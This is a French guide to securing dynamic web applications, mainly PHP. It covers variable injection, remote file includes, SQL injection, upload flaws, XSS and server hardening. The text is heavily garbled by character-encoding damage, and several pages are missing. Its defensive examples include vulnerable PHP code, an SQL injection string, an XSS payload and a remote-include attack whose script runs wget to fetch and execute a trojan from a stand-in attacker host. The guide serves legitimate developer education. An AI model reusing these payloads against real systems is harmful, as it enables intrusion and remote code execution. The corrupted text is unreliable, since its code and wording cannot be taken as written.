Академический Документы
Профессиональный Документы
Культура Документы
"daction initiale : mai #$$% &erni're modi(ication : ) *uillet #$$% Toute modi(ication de (ond ou de (orme interdite sans accord de l+auteur! Toute di((usion sans modi(ication autorise! ,i l+auteur ni sa socit n+en-a-ent leur responsabilit en cas d+in(ormations ou al-orithmes errons dans ce document qui est (ourni sans aucune -arantie!
1. Introduction et audience
Ce document est destin tout dveloppeur intervenant dans le cadre d'une "web-application" c'est dire de manire gnrique toute application fonctionnant sur http compose d'un frontal de type navigateur, d'un bac end de stoc age de type !"#$%&' et d'un middle tiers permettant de faire le lien entre les deu( et donc du web dynamique) *rois e(emples de configuration de ce type + ,)-) . ) net . ms-sqlserver, firefo( %ou tout successeur de netscape' . *omcat/0!1 . 2racle, 2pra . apache/131 . 1ostgresql %ou mysql') #ien d'autres combinaisons e(istent) 4es sysadmins trouveront aussi quelques conseils en dernire partie pour rduire les risques et le fingerprinting lis 131 et apache) 4'auteur affectionnant particulirement cette plateforme %c'est peu de le dire 5' un accent particulier est mis sur la ralisation en 131, mais de rares e(ceptions prs, clairement indiques comme telles, la totalit des failles dcrites concerne *26*-! les plateformes de web dynamique, car elles sont lies des erreurs de conception, pas d'implmentation) 6n cours sur le web dynamique appliqu 131 et 7ysql est disponible sur www)saphirtech)com et les notions qu'il prsente devraient 8tre acquises avant d'attaquer la partie scurit)
:/;<
Vocabulaire :
0'emploierai le terme "attaquant" qui est suffisamment gnrique pour ne pas rentrer dans le dbat de ses motivations) &appelons nanmoins au passage que le terme galvaud "hac er" n'a pas le sens communment utilis par les mdias tout aussi ignorants dans ce domaine que dans bien d'autres) "to hac the code" cela veut dire dissquer, acqurir une comprhension suffisante d'un programme pour pouvoir ensuite l'amliorer, le corriger %en particulier en termes de fiabilit') "www)cible)tld" + ce sera tou=ours le nom de domaine de l'application vulnrable attaque) "www)attaquant)tld" + ce sera l'une des multiples machines qu'un attaquant peut avoir sa disposition %pas ncessairement tou=ours la m8me pour une m8me attaque, on peut parfaitement demander un script une premire machine qui lui m8me en tlcharge un autre depuis une autre machine') "to spoof" %en fran?ais dans le te(te + spoofer' + simuler des informations thoriquement techniques et transparentes pour l'utilisateur afin d'usurper une identit informatique) "faille de scurit" + erreur de codage ou de conception qui permet de passer outre une procdure d'authentification, d'avoir accs des donnes non publiques, ou de modifier/dtruire des donnes/des scripts, restreint e(clusivement une optique web en ce qui concerne ce document) "utilisateur" + la personne physique qui a une raison lgitime d'utiliser l'application, i)e) l'internaute client potentiel d'un site marchand ou l'utilisateur d'une application d'intranet, etc) "social engineering" + l'attaquant contacte sa cible en personne, souvent par tlphone, mais m8me en chair et en os, le plus souvent en usurpant une identit, pour aller " la p8che" au( informations) "phishing" + %to fish + p8cher' processus de social engineering en nette recrudescence par courrier lectronique) @ous ave> probablement d= re?u un mail d'ebay ou d'une banque qui vous demande "pour raisons de scurit" %et comment 5' de bien vouloir confirmer vos informations confidentielles en cliquant l) A- 4- B9,*-! 0979,!) "page" + une page est un contenu affich) 1eu importe qu'il y ait changement du nom de fichier ou des paramtres permettant de gnrer ce contenu, ce document traite de scurit, pas des recommandations wCc) "uni("+ tous types d'uni( au sens large, libres ou non) 4a scurit du web dynamique - 0ohn "944-* - !aphir*ech
;/;<
Passoire ou inutilisable ?
Ce document essaye de prendre en compte tous les aspects de la scurit d'une application web et en particulier l'quilibre prcaire obtenir entre la scurit des donnes et la possibilit pour l'utilisateur de se servir de l'application) ,l convient de bien dissocier ce qui relve du confort de l'utilisateur de ce qui le g8nera vraiment ou l'emp8chera totalement d'utiliser l'application) 6ne application qui fonctionne merveille avec des donnes totalement corrompues renverra tou=ours des donnes corrompues + "garbage in, garbage out") 6ne application dont personne ne veut se servir car son interface est trop contraignante ne sortira aucune donne, ni vrole, ni correcte)
C/;<
Gnralits
2n ne le rptera =amais asse> + il est impossible de faire confiance une donne provenant du client, m8me %surtout' si elle est cense avoir t valide cDt client en =avascript) $e m8me, une gnration d'identifiant de session ou de =eton doit absolument 8tre non dterministe, donc fortement alatoire) ,l convient videmment d'avoir une fonction/mthode unique de vrification de validit de la session et de ne pas oublier de l'appeler systmatiquement) Rgle : vrifie> que toutes les "pages" accs restreint font bien la vrification des droits d'accs ou de la session) !i, si, faites le) $eu( grands types d'attaques peuvent avoir lieu + - l'attaquant fournit des donnes cohrentes pour l'application %elle s'attend les recevoir' mais fausses) 1ar e(emple, si le pri( d'une commande en ligne n'est pas recalcul cDt serveur, l'attaquant modifie le pri( de la commande %total global ou de chaque article') !i l'authentification de l'administrateur a lieu en recevant la variable "adminI2n", l'attaquant va la fournir) A# + ne rigole> pas en lisant ces deu( e(emples, ils ne sont pas simplistes, on les rencontre rellement, et m8me pire) - l'attaquant essaye d'e(cuter du code, e(cution immdiate ou but de le stoc er pour qu'il soit e(cut plus tard %par e(emple dans l'outil d'administration de l'application')
J/;<
sur le disque dur) ,l est galement possible d'utiliser wget ou curl pour envoyer les m8mes donnes en boucle infinie :M ou NM fois par seconde pendant :h))) Corollaire : c'est le contenu de la donne qui est important, son mode de transmission n'a strictement aucune importance) -n 131 + utilise> donc le tableau OP&-G6-!* au lieu de compliquer le code en utilisant tantDt OP"-* et tantDt OP12!*)
7ise en pratique + 7fie> vous des fonctions internes de chiffrement des !"#$& qui sont susceptibles de changer %e(emple sous mysql, la transition de 7$N !39: pour la fonction interne 19!!R2&$%'')
S/;<
L/;<
Y/;<
,njection de #ariables
Ce paragraphe est plus spcifiquement lie 131 et ne fonctionne que dans sa configuration registerPglobalsI2n ou par toute pratique consistant volontairement rimporter dans l'espace de nommage direct les variables re?ues %e(emple + e(tract%OP12!*'' $ans cette configuration, toute variable re?ue %en "-* ou 12!* peu importe' est importe dans l'espace de nommage) 6n script mal crit peut alors 8tre vulnrable) 1ar e(emple + ZHphp // verifPlogin)php code vulnerable ne faites pas ceci // en general, on va chercher en !"#$& ou lire un fichier if%OloginII'coucou' [[ OpasswordII'coincoin'' OauthI*&6-\ H] ZHphp // traiterPformulaire)php code vulnerable ne faites pas ceci require%'verifPlogin)php''\ if%Oauth' require%'secret)php''\ else require%'login)php''\ H] 2utre le fait que n'importe qui peut ici demander http+//www)cible)tld/secret)php directement ce qui est une faille en soit %=e donne cet e(emple pour prparer la suite' il suffit ici que n'importe qui appelle www)cible)tld/traiterPformulaire)phpHauthIMwnCd pour accder sans login ni mot de passe la >one secrte) 9ttention + en registerPglobalsI2n, on peut parfaitement in=ecter des variables dans des tableau( comme OP!-&@-&))) Comment rsoudre ce problme H :' ne =amais partir du principe qu'on est en registerPglobalsI2ff + oui, c'est le cas de beaucoup des machines actuelles, mais loin, trs loin d'8tre le cas de toutes les machines) 2ui, c'est "idiot" de ne pas dsactiver registerPglobals %il y avait d'autres solutions la base, mais puisque celle-ci a t retenue, autant s'en servir' mais ce n'est pas tou=ours le cas dans la vraie vie) C'est la triste ralit, vous deve> vous en accommoder %au lieu de partir du principe que ?a n'arrivera pas') ;' tou=ours initialiser ses variables) 4e script ci-dessus se corrige en une seule ligne en a=outant OauthIB94!-\ en premire ligne de verifPlogin)php %ou en else') C' tou=ours 8tre compatible avec registerPglobalsI2ff et donc utiliser le tableau OP&-G6-!* %ou OP"-* et OP12!* si vous prfre> mais souvene> vous que ?a n'apporte 96C6A- scurit supplmentaire') J' d'aucuns dtruisent d'entre toutes les variables qui auraient pu 8tre cres en registerPglobalsI2n avec les instructions suivantes + foreach%OP&-G6-!* as Oname' unset%O^Oname_'\ 9ttention, si ceci n'est pas fait sur *26! les fichiers, il n'y a aucun gain) A# + synta(e complte et non ambigu`, mais on peut aussi simplifier ici en OOname' 4a scurit du web dynamique - 0ohn "944-* - !aphir*ech
:M/;<
,ncludes dynamiques
Cette faille est un cas particulier de la confiance aveugle dans les donnes qui sont re?ues, avec la dsagrable particularit de permettre immdiatement l'e(cution du code de l'attaquant sur votre serveur) Cette faille ncessite que le paramtrage allowPurlPfopen I 2n ce qui est le cas par dfaut) *rs rpandue en 131 et plus gnralement dans les langages utilisant le principe des !!, %!erver !ide ,nclude' mais pouvant se gnraliser d'autres langages avec une mauvaise conception, cette faille est base sur le fait que le nom d'un fichier utiliser cDt serveur est rcupr dans une variable venant du monde e(trieur) -(emple : + ZHphp // filePvuln:)php code vulnerable ne faites pas ceci // rappel + le ) est en 131 pour les strings la concatnation, comme le . en =ava par e(emple) // rappel + on ne doit pas utiliser OP&-G6-!* sans filtrage, cf plus loin) OactionIOP&-G6-!*T'action'U\ require%Oaction)')php''\ H] 9ttaque + Z3*74] Z5-- local)html a ouvrir dans son navigateur favori --] Z#2$a] 4a scurit du web dynamique - 0ohn "944-* - !aphir*ech
::/;<
ZB2&7 9C*,2AI"http+//www)cible)tld/filePvuln:)php" 7-*32$I"12!*"] Z5-- quand on vous disait que c'est l'enfance de l'art de vous envoyer une donne par 12!*))) --] Z,A16* *a1-I"3,$$-A" A97-I"action" @946-I"http+//www)attaquant)tld/evilPscript"] Z,A16* *a1-I"!6#7,*"] Z/B2&7] Z/#2$a] Z/3*74] $ans cet e(emple, le code de filePvuln:)php a=oute le ")php" en esprant 8tre scuris ce qui est doublement idiot + ou on nommera le script de l'attaquant filePvuln:)php)php si on a besoin de gnrer du code offensif dynamiquement %oui, oui, gnrer du code offensif dynamiquement, on peut', ou tout simplement sans e(tension) $ans un cas il faudra faire appel la commande php echo pour gnrer le code, dans l'autre il suffit d'crire le code directement) ZHphp // evilPscript)php echo ' // ceci sera envoye et e(ecute par la victime 7wuahahahahaha e(ec%"wget http+//www)attaquant)tld/tro=an)pl -2 /tmp/)tmpMM:\ /tmp/)tmpMM:"'\ '\ H] Comment rsoudre ce problme H Ae le cre> pas 55 4e moyen le plus simple + ne 0979,! utiliser les instructions require, include, requirePonce, ou includePonce avec en paramtre complet ou tripot une donne venant de l'e(trieur) Cette pratique relve e(clusivement de "l'astuce du bidouilleur averti" ou %pire' de "l'esthte du code") ,l n'y a strictement aucune contrainte e(terne qui puisse vous forcer utiliser ce type de raccourci synta(ique) 1our s'en assurer + passer allowPurlPfopen 2ff) 9ssure> vous que les droits lis au( processus web soient corrects) Ceci tant dit, si vraiment vous voule> continuer utiliser cette synta(e %on vous aura prvenus, hein', vous deve> imprativement vrifier l'argument re?u par rapport une liste e(plicite de valeurs autorises) $e manire gnrale, on peut coder quelque chose base de switch case ou en 131 utiliser la fonction inParray%') $'aucuns utilisent la fonction filePe(ists% ' car pour l'instant elle ne fonctionne qu'en local, mais + :' si on demande ))/))/etc/passwd la fonction filePe(ists% ' renverra bien *&6-))) ;' les volutions de la notion de streams en 131 ne m'inspirent pas du tout confiance %en termes de gnralisation outrance' et il se pourrait bien qu'un =our, sans tambours ni trompettes, filePe(ists%' renvoie *&6- sur un fichier accd par http) 4a fonction filePe(ists%' fonctionne d'ailleurs sur ftp+// %source + !imon 7archal, !!*,C ;MMN') -(emple premire mthode + switch%Oaction' ^ case 'new'+ case 'update'+ case 'o '+ // ))) default+ 4a scurit du web dynamique - 0ohn "944-* - !aphir*ech
:;/;<
e(it%"$on't even thin about it)))"'\ _ -(emple seconde mthode + OauthPactionsIarray%'new','update','o ',)))))'\ if%5inParray%OauthPactions, Oaction'' e(it%"Re told you + no way)"'\ 4e choi( entre la premire et la seconde mthode dpend mon sens de la quantit de code qu'on peut factoriser entre les diffrentes actions) -t rappelons qu'on peut surtout choisir de ne pas utiliser d'includes dynamiques)
e(emple, on peut aussi contourner la limitation demande un rang avec une in=ection du type + loginII]' 2& :I: 4,7,* : -4a requ8te devient alors + 61$9*- lusers !-* lastPlogIA2R%' R3-&- loginI'' 2& :I: 4,7,* : car le -- met le reste de la requ8te en commentaires et il est m8me inutile de connaFtre/deviner un login) Comment rsoudre ce problme H Cette faille ne fonctionne que grXce au dtournement du caractre ' -n 131, la directive de configuration magicPquotesPgpc est souvent active) -lle permet d'viter automatique ce type d'in=ections car 131 garanti alors que toute variable de OP&-G6-!* subit un a=out de b avant les ' prsentes) ,l faut donc tester la configuration de 131 avec getPmagicPquotesPgpc%' et s'il n'est pas activ, ou pour tous les langages non 131, pour toutes les variables venant de l'e(trieur et allant vers la base de donnes, chapper les ' prsentes par le caractre d'chappement de votre !"#$& + souvent c'est b mais on trouve aussi souvent le m8me ' pour chapper i)e) b' ou '') -n 131, on peut utiliser la fonction addslahes%') 9ttention se prmunir contre l'insertion de b' qui ne doit pas devenir bb' %le caractre b suivit de l'apostrophe' mais bbb' %le caractre b suivit d'une apostrophe chappe correctement')
des vigilances est de mise) $e manire gnrale + commence> par appliquer la rgle de base de la scurit informatique + tout ce qui n'est pas e(plicitement autoris est interdit) $onc dresse> e(plicitement la liste des e(tensions de fichiers que vous alle> accepter en rception, et ce dans tous les cas %)=pg )gif )pdf etc)') !i vous pouve> stoc er ces fichiers en dehors de l'arborescence web, ne vous en prive> surtout pas, ainsi, m8me s'ils contiennent du code offensif, personne ne pourra le lancer) 9 dfaut, essaye> d'interdire l'accs direct au rpertoire %par )htaccess par e(emple') -n particulier, ceci est l'une des trs rares raisons valables de stoc er des donnes binaires dans un !"#$&, qui est volontairement vu %tant pis pour l'overhead' comme serveur de fichiers) 2n peut aussi utiliser readfile%' mais attention ne pas envoyer tous les fichiers de la machine))) -nsuite, et particulirement si vous 8tes dans l'obligation de laisser ces fichiers dans l'arborescence web, n'hsite> =amais les renommer compltement avec un nom alatoire %ou par e(emple le 7$N du fichier, en faisant attention au( collisions' ou interdire certaines chaFnes de caractres dans leur nom, au hasard + php, inde(, cgi) 9ttention l aussi au( noms du type ))/toto)php 9ttention + si on appelle ce fichier dans une balise Z,7" !&CI))))] par e(emple, il va de soi que le renommage du fichier upload a pour seul but de g8ner les crasements de fichiers e(istants ou criture dans des rpertoires mal protgs) ,l ne s'agit nullement d'esprer que l'attaquant n'arrivera pas retrouver le nom de son fichier) @rifie> systmatiquement par des tests unitaires quelles e(tensions et quels noms sont e(cuts cDt serveur %alors qu'on ne le souhaite pas du tout 5' et lesquels sont renvoy au navigateur %alors qu'on ne souhaite pas plus voir son code 131 renvoy au navigateur 5') -n particulier, vrifie> e(plicitement qu'on ne peut pas recevoir des )htaccess ou )htpassword 6n hbergeur reconnu dont =e tairai le nom avait la "bonne" habitude de faire e(cuter 131 n'importe quoi contenant "php" dans le nom du fichier, par e(emple totophp)=pg))) 4a vrification du type de fichier n'est pas trs utile) 1rene> un vrai )=pg, concatne> lui des instructions 131, le type renvoy par la commande "file" par e(emple sera tou=ours "=peg") ,l n'est pas plus utile de tester avec des fonctions de la "$ 4,#) !pcifique 131 + le champ hidden 79KPB,4-P!,Q- permet d'viter des uploads de fichiers de taille trop importante par rapport la taille ma(imum dclare dans le fichier php)ini) ,l n'est en rien une garantie de scurit car outre le fait qu'il est vident qu'on peut modifier le code html du formulaire et envoyer un fichier de la taille que l'on veut, il ne sert absolument pas faire de la scurit, mais seulement viter un transfert vou l'chec d'un fichier qui serait plus gros que la valeur ma(imale dclare dans php)ini) $it autrement, 79KPB,4-P!,Q- ne sert rien)
e risque
,magine> qu'un attaquant arrive a=outer du code 3*74 ou =avascript ou applet, ou active-(, eyc))) dans l'une de vos pages " l'insu de votre plein gr", quelles sont les nouvelles possibilits qui viennent de s'ouvrir lui pour attaquer l'utilisateur qui vient innocemment accder votre page 4a scurit du web dynamique - 0ohn "944-* - !aphir*ech
:N/;<
corrompue H 4iste bien entendu non e(haustive + - essayer de profiter d'une faille du navigateur pour installer toutes sortes de cochoncets %spywares et autres eyloggers, tro=ans, bac doors, virus))) ='en passe et des meilleures') - changer la destination rseau des informations soumises par l'utilisateur et les rcuprer, quitte copier la charte graphique de votre site pour que la transparence soit complte - rcuprer les coo ies que vous ave> positionn %deu( lignes de 0! appelant une ligne de 131 suffisent)))' - rcuprer des identifiants de session %en particulier en e(ploitant le champ referer dans ses propres logs, qui pourra contenir des identifiants de session)))' - etc) 4e principe des K!!, c'est ?a + in=ecter dans vos pages du code qui sera e(cut, immdiatement ou plus tard, par le navigateur d'une victime qui ne s'apercevra =amais de rien) 4a page vient bien de che> vous, m8me le certificat !!4 sera bon))) $es e(emples de chaFnes permettant de dtecter une application vulnrable + http+//ha)c ers)org/(ss)html
es !"" instantanes
#eaucoup de sites web dynamiques sont vulnrables cette faille + on passe dans l'une des variables le code html/=avascript qu'on veut in=ecter) Ce code n'est stoc nulle par %sauf dans les logs du serveur http si c'est en "-*', d'oE l'appellation ici d'instantan) 9 quoi cela pourrait-il bien servir un attaquant d'e(cuter une attaque sur sa propre machine en recevant le rsultat H !ur la sienne, rien, sur celle des victimes potentielles de phishing qui il vient d'envoyer la m8me chose sous forme de lien html cliquable par courrier lectronique quelques milliers/millions d'e(emplaires, ce n'est pas la m8me musique) 4'attaquant peut m8me se servir d'une K!! stoc e %cf plus loin' sur un premier site pour faire une K!! instantane sur un autre site + tous les moyens sont bons pour que la victime clique sur le lien contenant la K!! instantane) 6n e(emple simpliste + ZHphp // (ssPvulnerable)php echo OP&-G6-!*T'(ss'U\ H] appel + http+//www)cible)tld/(ssPvulnerable)phpHcCCscriptcC-c;Malert%'cCC/!C&,1*cC#ien sWr il vous faut un navigateur avec 0! activ) 9ttention, les K!! ne se limitent pas =avascript) *out ce qui pourra s'e(cuter dans un navigateur ou plus gnralement dans votre vecteur de sortie %1$B, etc)' peut devenir support d'attaque) -t vu le nombre de balises dclenchant une e(cution de code client reconnues par les navigateurs, il y a du soucis se faire %=avascript bien sWr, mais aussi vbscript, active-(, etc)))')
es !"" stoc#es
Cette forme est similaire dans le rsultat, mais elle fonctionne en deu( temps) Temps : l'attaquant envoie la cible une variable vrole contenant du code offensif e(cutable cDt client, et la cible stoc e cette information en base de donnes %sans aucun danger pour lui m8me d'ailleurs, c'est du te(te mort', avant en gnral de remercier l'attaquant pour les informations qu'il a envoyes) -(emple + quand vous passe> une commande sur un site marchand, il y a souvent 4a scurit du web dynamique - 0ohn "944-* - !aphir*ech
:</;<
une >one de te(te libre par e(emple pour mettre "bon anniversaire mon canard" %il va pas 8tre d?u, le canard') Temps ! : la victime, par e(emple l'administrateur du site marchand qui regarde la liste de ses commandes traiter, demande la >one vrole la base de donnes, et e(cute sur sa machine le code dormant que le !"#$& a gentiment stoc et restitu vrol) 9ttention + il n'est pas ncessaire d'avoir une faille de type in=ection !G4 pour stoc er une K!!) Comment rsoudre ce problme H 9 ce stade de la description des attaques classiques, le besoin d'un module de filtrage qu'on avait d= pressenti est confirm + il va falloir faire le mnage dans *26*-! les variables re?ues ayant le !"#$& pour destination, on n'y coupera pas) -t ce quel que soit leur vecteur d'entre %web app, web service, bac end rss, fichier import, etc)' !elon le nombre et le type de vecteurs de sortie que votre application ncessite, il faudra faire le mnage avant stoc age ou lors de la rcupration depuis le stoc age avant gnration du document de sortie + les attaques dans les 1$B, ?a e(istait d= avant la dernire version du reader qui active =avascript par dfaut, mais ?a ne va pas s'amliorer donc))) 1ersonnellement, =e conseille de faire un filtrage systmatique en entre, quitte faire la transformation inverse et un filtrage spcifique au vecteur de sortie spcifique non navigateur %filtrage en entre et en sortie donc pour les cas hors navigateur') "#iltrer"$ "#aire le m%nage"$ oui mais en prati&ue$ on #ait &uoi ' 0e dconseille de =ouer avec des rege(ps ou des filtres de remplacement de chaFnes dans tous les sens pour supprimer les chaFnes estimes dangereuses, et ce pour plusieurs raisons+ - le principe m8me de la liste des choses interdites est intrinsquement mauvais en scurit informatique) 4e seul principe scuritaire, c'est l'inverse + "tout ce qui n'est pas e(plicitement autoris est interdit") - les rege(ps sont un langage en elles m8mes, et qui plus est comple(e) 2n a vite fait de se perdre et de dcroired qu'on a la bonne rege(pl) - elles sont souvent gourmandes en ressources, en particulier car souvent mal crites - ces types de filtres sont souvent contournables) 1ar e(emple + OisPitPreallyPsafeIstrPireplace%'Z*9"P,A*-&$,*]','',Ounsafe'\ !i Ounsafe contient Z*9"P,AZ*9"P,A*-&$,*]*-&$,*] dommage))) 4a seule solution consiste donc "dsamorcer" le code offensif selon le vecteur de sortie) 1our un navigateur, il faut transformer tout caractre potentiellement offensif en son quivalent entit html) Caractre offensifs principau( / + Z ] c [ " ' &alisation en 131 + la fonction htmlspecialchars%' ne traduit que [ " ' Z ] il manque donc / + c donc ou vous les traduise> manuellement par un appel trois strPreplace, ou vous traduise> tous les caractres en leur entit html par htmlentities%') 9ttention dans ce cas prvoir des tailles de %var' char%;' augmentes + socit gnrale I] soci[eacute\t[eacute\ g[eacute\n[eacute\rale 4a fonction stripPtags% ' fonctionne aussi %et ne se fait pas avoir par une ruse du type Z!CZscript]&,1*]' mais son comportement n'est pas document e(plicitement m8me si son code source est public, donc on peut le dissquer)
:S/;<
9 mon sens, la protection contre les in=ections sur les entiers est le premier pas vers la seule solution logique au( besoins, que =e vais rappeler + - on travaille sur toutes les variables en entre) Ca fait beaucoup de variables traiter parfois) - on souhaite pouvoir s'adapter la configuration locale %magicPquotes par e(emple' - on souhaite pouvoir valider le type de donnes) &a=outons les attaques de type (ss qui montrent bien un besoin fort de "nettoyage" des donnes re?ues pour les purger de tout code offensif + tout ceci fait naturellement %H' penser un module de filtrage) 0e ne vois pas comment on peu se passer, sous une forme ou sous une autre, d'un module de filtrage fonctionnel/mtier) Ce module permettra de filtrer chaque variable par rapport un type mtier, caractris par une liste de caractres spcifiquement autoriss pour sa composition) 1our tous les types non e(clusivement numriques, transformer tous les caractres permettant des K!! % ou tous les caractres tout court 5' en leur entit 3*74) -ffet de bord positif + ceci permet de ne stoc er que de l'9!C,, S bits dans le !"#$, ce qui simplifie certains problmes de charsets) Ce module pourra 8tre implment sous la forme de programmation linaire classique %ce que =e ferai ici', sous forme ob=et, et dans les deu( cas, appel manuellement sur toutes les variables ou en utilisant des descripteurs de donnes %d'aucuns utilisent le terme "2&7" pour "2b=ect &elation 7apper"' pour industrialiser) @oici un e(emple simplifi de fonction de filtrage) ,l s'agit l d'un canevas pour donner les principales vrifications, nullement d'une librairie finalise) 9**-A*,2A + ='utilise ici OP&-G6-!* qui regroupe un certain nombre de donnes venant du monde e(trieur %OP"-*, OP12!*, OPC22V,- et avant php J)C)M OPB,4-!' mais souvene> vous que d'autres donnes comme par e(emple OP!-&@-&T'3**1P6!-&P9"-A*'U ou OPB,4-! u OPC22V,-! sont tout aussi dangereuses) // filtrage des donnes, utiliser systmatiquement pour toute variable e(terne function f(Pfilter%Oname, OtypeI'!*&,A"', OdefI''' ^ // si la variable n'a pas ete recue, gerer proprement l'erreur // on se fiche> de savoir comment a ete transmise la donnee) if%5isset%OP&-G6-!*TOnameU'' return Odef\ OunsafeItrim%OP&-G6-!*TOnameU'\ // selon le type de variable attendue, traiter) switch%Otype' ^ // on gere ici les entier et les flottants de la meme maniere, ceci est un e(emple simplifie // ceci protege des in=ections sql sur les entiers et evite toute incohrence) case ',A*'+ case 'B429*'+ if%5isPnumeric%Ounsafe'' return Odef\ return Ounsafe\ brea \ //inutile, pour respecter la synta(e habituelle default + // on se protege des in=ections !G4 sur des strings // remplacer ces tests pour !ybase, qui echappe les ' par une autre ' et on un b if%getPmagicPquotesPgpc%'IIM' ^ 4a scurit du web dynamique - 0ohn "944-* - !aphir*ech
:L/;<
OunsafeIaddslashes%Ounsafe'\ _ brea \ _ // il reste les K!!) // on pourrait aussi utiliser htmlPentities%' la place de htmlspecial chars // mais attention au( tailles des champs sgbd a augmenter // on pourrait aussi utiliser stripPtags%' OsafeIhtmlspecialchars%Ounsafe'\ return trim%Osafe'\ _ 9ppel + OnomPfamilleIf(Pfilter %'nomPfamille''\ OageIf(Pfilter%'age',',A*''\ OqteIf(Pfilter%'qty',',A*',:'\ 9ttention dans les deu( cas %programmation linaire ou ob=et' + le besoin va rapidement se faire sentier d'avoir un typage mtier fort) $ans un cas comme dans l'autre, on risque vite de se retrouver avec une ttrachie de types quasi identiques mais pas e(actement avecdes subtilits dans les caractres autoriss) 0uste un e(emple + la liste des caractres d'un nom de famille est restreinte -!19C- 9Qa> avec les accents ' - %et depuis =anvier ;MMN la rptition -- est autorise', mais on a pas de raisons d'autoriser des chiffres par e(emple, alors que la liste des caractres autorise pour une adresse de courrier lectronique est plus e(haustive + alphanum trait d'union - underscore P e bien sWr, depuis rcemment aussi les accents) -t les e(emples comme ?a se multiplient) @ous devre> 8tre vigilant + - vous limiter dans les types de filtrage) ,l est raisonnable d'avoir les types suivants + entier, rel, chaFne simple %alphanumriques 9!C,, plus underscore, pour les variables internes votre application et les identifiants de session par e(emple', email, chaFne normale) !i vous le deve> vraiment, un type 3*74 %en utilisant alors stripPtags et une liste de tags autoriss, puis un filtre manuel pour viter les K!! dans les balises autorises genre Z#2$a onload%alert%''] si vous autorise> #2$a par e(emple')
dans l'6&4, =e le lis en clair) ,l doit ncessairement 8tre appel config)php %ou si ?a vous amuse config)inc)php mais =e suis contre ces noms rallonge inutiles', et si possible dans un rpertoire inaccessible par http) $ans cette m8me catgorie, n'oublie> pas de vrifier l'authentification C39G6- requ8te, pas seulement sur la premire page 5 Rgle : on doit tou=ours valider les donnes qui arrivent du monde e(trieur) @ous l'ave> fait dans verif)php, vous voule> maintenant e(cuter l'insertion en base dans insert)php + faites un require %'insert)php''\ en interdisant l'accs direct ce script ou si vous voule> vraiment faire faire un allerretour au( donnes en utilisant header %"4ocation+http+//www)cible)tld/insert)phpHdata:I:[data;I;"' vous $-@&-Q ,71-&9*,@-7-A* les faire une $-6K,-7- B2,! dans ce script) 9ttention galement que les donnes sont alors envoyes en "-* et apparaFtront donc en clair dans les logs %mots de passe, numros de carte bleue, etc)))') Rgle : tout script qui est appelable directement par l'6&4 doit valider ses propres donnes ou pouvoir s'assurer que l'appelant l'a fait pour lui de manire scurise) 1lusieurs solutions donc, cumulables + - on met insert)php dans le sous-rpertoire priv/ et on interdit l'accs 3**1 tout ce rpertoire par e(emple avec un )htaccess sous apache - le script "public" verif)php appelant dfini une constante par l'instruction define%"!-C6",:'\ et le script priv appel par require%'priv/insert)php''\ commence par la ligne + if%5defined%"!-C6"'' e(it %'\ 9ttention, il s'agit bien d'utiliser des C2A!*9A*-! dfinies par l'instruction 131 define%' et non des variables si on veut rester immunis la configuration registerPglobalsI2n) 1our les fichiers template embarquant des instructions 131 ou non, attention au( K!!) 4e test de la constante et le )htaccess peuvent aussi s'appliquer)
;M/;<
Aombre d'diteurs de te(te ou d'utilitaires divers sauvegardent des copies de travail avec une e(tension propre %ou plutDt + sale' telles que + ')old', ')ba ', 'f', ')orig', ')bac up', ')bad', ')swp' Ces fichiers ne sont pas parss par le moteur dynamique et si quelqu'un les demande directement dans l'6&4, il les obtiendra, et pourra donc lire votre code %ou vos mots de passe' en clair) 1lus g8nant car relevant de l'erreur de conception, l'oubli de protection de fichiers contenant des donnes confidentielles %adresses ,1, logins/pass, chiffrs ou non, etc)' Baire aussi la chasse au( fichiers de test et autres phpinfo)php qui e(cuteront des commandes imprvues ou donneront des informations)
e fic$ier ro%ots.txt
&aisonnement idiot mais d= rencontr + "tel fichier/rpertoire contient des donnes confidentielles, =e ne veu( pas que les robots d'inde(ation/rfrencement l'enregistrent, =e le mets donc dans robots)t(t") A'importe qui peut demander ledit fichier robots)t(t) a compris un attaquant, automatis ou humain) $onc ne mette> =amais d'allusion quoi que ce soit de confidentiel dans ce fichier) ,l ne sert qu' emp8cher le rfrencement de certaines parties de votre site par les robots, c'est une mesure mar eting, pas de scurit)
;:/;<
7es sessions
Guelle que soit la gestion de sessions que vous utilisie> sur votre plateforme, elles doivent imprativement vous permettre de grer un time-out) !i votre application le ncessite, vous pouve> envisager de ne pas conserver le m8me identifiant tout au cours de la m8me session pour limiter la probabilit du vol d'identifiant % la limite, mais ceci doit vraiment se =ustifier, vous pouve> avoir un =eton-=etable, valable pour une seule requ8te chaque fois')
*outes celles qui permettent de lire des fichiers ou pire d'en crire + fopen, fwrite) 4'envoi de mail + une mauvaise protection du paramtre "additionnal headers" ou "additionnal parameters" peut rapidement transformer votre machine en relay anonyme pour envoyer du spam))) !i elles ne sont pas utilises sur votre machine et que vous ave> les droits pour le faire, dsactive> ces fonctions %dans php)ini, cf) ci-dessous')
*onfiguration de P<P
Ae parte> pas du principe que c'est le cas parce que c'est la configuration par dfaut) @rifie> le, ?a prend N minutes) 1our une machine de production, dans php)ini + 9ctiver magicPquotesPgpcI2n 9ctiver registerPglobalsI2ff 4a scurit du web dynamique - 0ohn "944-* - !aphir*ech
;;/;<
$sactiver allowPurlPfopen I 2n en le passant 2ff %attention, ce n'est pas la configuration par dfaut') 9ctiver displayPerrorsI2ff -ventuellement 4ogPerrorsI2n avec errorPlogIfichier, attention ce que ce fichier soit situ en dehors de l'arborescence web) 9ctiver le safePmode + http+//fr;)php)net/manual/en/features)safe-mode)php @rifier l'includePpath) !i personne n'utilise pear sur cette machine, ne pas l'inclure dans le chemin) $sactiver toutes les fonctions dangereuses inutilises sur la plateforme avec la directive "disablePfunctions" + eval, fwrite, e(ec, passthru, system, shellPe(ec) -ventuellement m8me fopen)
7imiter le fingerprinting
$ans php)ini + e(posePphpI2ff Ceci permet principalement de ne pas communiquer la version e(acte de 131 % et donc les failles au(quelles elle est sensible', sauf associer une e(tension usuelle d'un autre langage %par e(emple ) pl' au( scripts 131 ou utiliser de l'6&4 rewriting) $ans apache + !erverto ens 1rod et !erver!ignature 2ff) 9u niveau systme d'e(ploitation + le fingerprinting de la stac ,1 renseignera presque tou=ours un attaquant, il y a moins de choses possibles ce niveau l, mais prene> le temps de vous renseigner sur ce qui est faisable %os-dependant')
Sau#egardes scurise
